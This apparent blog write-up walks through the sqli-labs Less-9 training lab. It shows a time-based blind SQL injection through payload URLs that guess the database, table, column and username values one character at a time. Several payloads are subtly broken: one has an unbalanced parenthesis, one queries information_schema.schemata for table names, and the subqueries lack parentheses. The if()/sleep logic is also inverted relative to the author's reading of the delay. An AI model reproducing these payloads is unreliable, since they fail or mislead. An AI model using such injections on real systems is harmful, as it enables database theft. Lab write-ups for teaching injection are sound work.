sqli-labs ————less -9

Less-9

首先我们可以查看一下源代码:

sqli-labs ————less -9_第1张图片

一方面:从标题中我们可以看到这是一个基于时间盲注的单引号注入

另一方面:从之后的“print_r(mysql_error());”来看我们并不可以使用报错注入

最后,我们可以看到可以通过' and 1=1 --+或者' or 1=1 --+来绕过

sqli-labs ————less -9_第2张图片

既然如此,那么我就用延迟注入的方式来注入:

猜解数据库:

payload:http://192.168.11.136/sqli-labs/Less-9?id=1' and if(ascii(substr(database(),1,1))=115),1,sleep(5))--+

sqli-labs ————less -9_第3张图片

从图中可以看到发送了时间延迟,所以猜解正确,所以数据库第一位是“s”

至于后续的猜解与这一个原理相同,这里就不再多说了!最后我们可以猜解到数据库的名称为security。

猜解security的数据表名

http://192.168.11.136/sqli-labs/Less-9/?id=1' and if(ascii(substr(select table_name from information_schema.schemata where table_schema='security' limit 0,1))=101,1,sleep(5))--+

sqli-labs ————less -9_第4张图片

猜测第一个数据表的第一位是e,之后的类似,最后我们可以得到emails

猜测user表的列

http://192.168.11.136/sqli-labs/Less-9?id=1' and if(ascii(substr(select column_name from information_schema.columns where table_name='users' limit 0,1))=101,1,sleep(5))--+

sqli-labs ————less -9_第5张图片

猜测users表的第一个列的第一个字符是i,之后的类推即可!可以得到列名id,username,password

猜测username的字段值

http://192.168.11.136/sqli-labs/Less-9/?id=1' and if(ascii(substr(select username from users  limit 0,1))=68,1,sleep(5))--+

sqli-labs ————less -9_第6张图片

之后的内容以此类推就好!

你可能感兴趣的:(【信息安全】,———Sqli-labs实战,【渗透测试实战1】)